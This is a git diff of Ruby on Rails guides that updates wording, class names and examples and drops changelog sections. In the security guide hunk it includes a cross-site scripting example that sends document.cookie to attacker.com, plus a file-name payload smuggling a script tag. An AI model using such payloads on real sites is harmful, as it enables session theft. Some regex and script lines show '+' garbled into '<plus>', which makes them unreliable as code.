b/railties/guides/source/plugins.textile @@ -290,7 +290,7 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun </shell> -Getting closer...now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. <ruby> # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -322,7 +322,7 @@ When you run +rake+ you should see the tests all pass: h4. Add an Instance Method -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' +This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. To start out, write a failing test that shows the behavior you'd like: @@ -347,7 +347,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase assert_equal "squawk! Hello World", hickwall.last_squawk end - def test_wickwalls_squawk_should_populate_last_tweeted_at + def test_wickwalls_squawk_should_populate_last_tweet wickwall = Wickwall.new wickwall.squawk("Hello World") assert_equal "squawk! Hello World", wickwall.last_tweet @@ -355,7 +355,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase end </ruby> -Run the test to make sure the last two tests fail the an error that contains "NoMethodError: undefined method `squawk'", +Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this: <ruby> @@ -386,6 +386,7 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle </ruby> Run +rake+ one final time and you should see: + <shell> 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips </shell> @@ -399,11 +400,11 @@ the creation of generators can be found in the "Generators Guide":generators.htm h3. Publishing your Gem -Gem plugins in progress can be easily be shared from any Git repository. To share the Yaffle gem with others, simply -commit the code to a Git repository (like Github) and add a line to the Gemfile of the any application: +Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply +commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question: <ruby> -gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' +gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' </ruby> After running +bundle install+, your gem functionality will be available to the application. @@ -425,11 +426,12 @@ require 'yaffle' </ruby> You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the -console we can check to see if the String has an instance method of to_squawk. +console we can check to see if the String has an instance method to_squawk: + <shell> $ cd my_app $ rails console -$ String.instance_methods.sort +$ "Rails plugins are easy!".to_squawk </shell> You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed. @@ -443,9 +445,9 @@ The first step is to update the README file with detailed information about how * Your name * How to install * How to add the functionality to the app (several examples of common use cases) -* Warning, gotchas or tips that might help save users time +* Warnings, gotchas or tips that might help users and save them time -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api. Once your comments are good to go, navigate to your plugin directory and run: @@ -460,11 +462,3 @@ h4. References * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - -h3. Changelog - -* March 10, 2011: Minor formatting tweaks. -* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere -for information that is covered elsewhere. -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 90fc763349..3b51a52733 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -60,6 +60,18 @@ Please note that this will NOT install the gems for you and you will have to run bundle install </ruby> +h4. gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> + h4. add_source(source, options = {}) Adds the given source to the generated application's +Gemfile+. @@ -148,7 +160,7 @@ The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task. h4. generate(what, args) -Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever I’m playing with Rails: +Runs the supplied rails generator with given arguments. <ruby> generate(:scaffold, "person", "name:string", "address:text", "age:number") @@ -176,12 +188,6 @@ You can also run rake tasks with a different Rails environment: rake "db:migrate", :env => 'production' </ruby> -Or even use sudo: - -<ruby> -rake "gems:install", :sudo => true -</ruby> - h4. route(routing_code) This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application: @@ -232,7 +238,3 @@ git :init git :add => "." git :commit => "-a -m 'Initial commit'" </ruby> - -h3. Changelog - -* April 29, 2009: Initial version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index 8d5985dba8..d6cbd84b1f 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -89,23 +89,32 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: <ruby> +use ActionDispatch::Static use Rack::Lock -use ActionController::Failsafe -use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"} -use Rails::Rack::Metal -use ActionDispatch::RewindableInput -use ActionController::ParamsParser -use Rack::MethodOverride -use Rack::Head +use ActiveSupport::Cache::Strategy::LocalCache +use Rack::Runtime +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use ActionDispatch::RemoteIp +use Rack::Sendfile +use ActionDispatch::Callbacks +use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache -run ActionController::Dispatcher.new +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ParamsParser +use Rack::MethodOverride +use ActionDispatch::Head +use ActionDispatch::BestStandardsSupport +run Blog::Application.routes </ruby> Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. h4. Configuring Middleware Stack -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. +Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. h5. Adding a Middleware @@ -118,7 +127,7 @@ You can add a new middleware to the middleware stack using any of the following * <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack. <ruby> -# config/environment.rb +# config/application.rb # Push Rack::BounceFavicon at the bottom config.middleware.use Rack::BounceFavicon @@ -133,7 +142,7 @@ h5. Swapping a Middleware You can swap an existing middleware in the middleware stack using +config.middleware.swap+. <ruby> -# config/environment.rb +# config/application.rb # Replace ActionController::Failsafe with Lifo::Failsafe config.middleware.swap ActionController::Failsafe, Lifo::Failsafe @@ -157,8 +166,9 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol |+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.| |+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| |+ActiveRecord::QueryCache+|Enables the Active Record query cache.| -|+ActionController::Session::CookieStore+|Uses the cookie based session store.| -|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.| +|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.| +|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.| +|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.| |+ActiveRecord::SessionStore+|Uses the database based session store.| |+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.| |+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.| @@ -198,7 +208,7 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp <strong>Clear the existing Rails middleware stack</strong> <ruby> -# environment.rb +# config/application.rb config.middleware.clear </ruby> @@ -207,7 +217,7 @@ config.middleware.clear <ruby> # config.ru -use MyOwnStackFromStratch +use MyOwnStackFromScratch run ActionController::Dispatcher.new </ruby> @@ -223,8 +233,3 @@ h4. Learning Rack h4. Understanding Middlewares * "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 99dd9a1cd2..29c729592b 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -596,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } </ruby> +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. h4. Routing to Rack Applications @@ -618,7 +620,7 @@ You can specify what Rails should route +"/"+ to with the +root+ method: root :to => 'pages#main' </ruby> -You should put the +root+ route at the end of the file. You also need to delete the +public/index.html+ file for the root route to take effect. +You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect. h3. Customizing Resourceful Routes @@ -881,12 +883,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat <ruby> assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) </ruby> - -h3. Changelog - -* April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com -* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/ -* February 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index 5989191b5c..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines @@ -77,8 +77,3 @@ bundle exec rake validate_guides </plain> Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them. - -h3. Changelog - -* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey -* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 1f6ff88c1f..c2ef7bf9b5 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -80,12 +80,11 @@ This will also be a good idea, if you modify the structure of an object and old * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. - h4. Session Storage --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._ -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: @@ -158,9 +157,9 @@ One possibility is to set the expiry time-stamp of the cookie with the session i <ruby> class Session < ActiveRecord::Base def self.sweep(time = 1.hour) - time = time.split.inject { |count, unit| - count.to_i.send(unit) - } if time.is_a?(String) + if time.is_a?(String) + time = time.split.inject { |count, unit| count.to_i.send(unit) } + end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end @@ -475,7 +474,7 @@ h3. User Management -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ -There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features. Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): @@ -583,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -596,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -763,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: @@ -1003,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html - -h3. Changelog - -* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index cc55d1f756..2341a3522c 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -931,7 +931,7 @@ class UserControllerTest < ActionController::TestCase assert_equal "You have been invited by me@example.com", invite_email.subject assert_equal 'friend@example.com', invite_email.to[0] - assert_match /Hi friend@example.com/, invite_email.body + assert_match(/Hi friend@example.com/, invite_email.body) end end </ruby> @@ -945,11 +945,3 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures. * "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions. * "RSpec":http://relishapp.com/rspec, a behavior-driven development framework - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 13, 2008: Revised based on feedback from Pratik Naik by "Akshay Surve":credits.html#asurve (not yet approved for publication) -* October 14, 2008: Edit and formatting pass by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: First draft by "Akshay Surve":credits.html#asurve (not yet approved for publication) - |